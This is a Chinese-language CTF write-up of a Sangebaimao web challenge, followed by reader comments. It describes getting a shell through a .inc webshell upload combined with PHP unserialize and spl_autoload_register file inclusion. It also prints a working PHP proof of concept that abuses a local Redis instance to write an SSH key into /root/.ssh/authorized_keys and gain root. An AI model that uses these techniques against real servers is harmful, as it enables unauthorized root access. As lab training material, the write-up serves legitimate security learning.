『三个白帽』某题的writeup

先介绍一下三个白帽,三个白帽是一个关于信息安全学习、交流和实践平台,我们以简单、直观、好玩的方式来把信息安全的内容表现出来。我们可以很方便地在三个白帽里创建、启动、关闭linux环境。比如这次CTF,我就是在三个白帽里创建的环境。

三个白帽地址:http://www.sangebaimao.com/

下面是这一题的一些writeup。

0x01 找到源码

目标 http://24caf446e2bb0e659.jie.sangebaimao.com/

首先扫描发现其包含.git目录,但访问/.git/index发现没有这个文件,可能是被破坏了。 

用lijiejie的工具无法还原,但用某些工具还是可以办到的,详见我之前的文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html 

就不再赘述,用某工具直接还原源码: 

image001.png

因为比赛环境已经关闭了,在github分享一下源码: https://github.com/phith0n/sangebaimao_20151112

0x02 getshell

首先通读源码,发现有几个特点: 

  1. 可以上传任意文件,后缀有黑名单检查,文件名是随机字符串md5值 
  2. 数据存储于cookie中,通过php反序列化函数还原并显示 

其实考察点比较有意思。 

看到common.inc.php里,包含spl_autoload_register函数,这个函数是自动注册类用的,在当今特别是新型的框架(laravel、composer)中常用。 

这个函数有个特点,如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。 

这就比较有意思了,我们之前的黑名单是不包括“.inc”文件的,所以我们可以按照下面方法进行getshell: 

1. 上传webshell,后缀为.inc,被重命名为xxxx.inc 

image003.png

2. 序列化一个类名为xxxx的类对象 

image005.png

3. 将序列化以后的字符串作为cookie,发送到服务器上 

image007.png

4. 服务器反序列化这个字符串后,将会自动加载xxxx类,由于之前spl_autoload_register函数注册的方法,会自动加载xxxx.inc,从而造成文件包含漏洞,getshell成功 

image009.png

在网站根目录的flag-1.php中获得第一个flag。 

0x03 利用本地redis提权

拿到webshell以后,查看一下服务器的一些敏感信息。 

比如在phpinfo里看到了,session的处理方式用的redis,并且save_path里暴露了redis的端口和密码: 

image011.png

于是可以利用这段时间比较火的redis写公钥文件进行提权。 

直接编写一个redis.php,用php来连接redis,执行redis写公钥的POC: 

<?php 
$redis = new Redis(); 
$redis->connect('127.0.0.1', 21821); 
$redis->auth("Tat141uIyX8NKU"); 
$redis->flushall(); 
$redis->config("SET", "dir", "/root/.ssh/"); 
$redis->config("SET", "dbfilename", "authorized_keys"); 
$redis->set("0", "\n\n\nssh-rsa key_pub\n\n\n"); 
$redis->save();

连接其ssh端口,直接获取root权限。 

读取/root/flag-2.txt获得第二个flag。

赞赏

喜欢这篇文章?打赏1元

评论

郑州SEO优化 回复

一直想学习关于这些的,但是不知从何学起

xyz軟體 回复

赞哦~~~~~~~

不锈钢屏风 回复

支持一下!!!啊哈哈

中国淋浴房 回复

来啦!

阿狗 回复

最后一段代码,是第三波里面自带的类吗?

phithon 回复

@阿狗:这是php-redis扩展提供的类

caomei 回复

为何我下载源码想在搭建起来再玩玩看,直接访问index.php显示500错误 求指点

phithon 回复

@caomei:你把前面两句设置不显示错误的语句注释掉,看报什么错。
多半是php版本太低。

caomei 回复

@phithon:嗯 我用高版本的PHP搭建一下环境看看

yichin 回复

@caomei:common.inc.php 第5行 $req = []; 低版本php不支持这样的写法

neargle 回复

看我今天刷RSS的时候刷出了什么0 0居然是深夜发的- -

随便 回复

膜拜。

captcha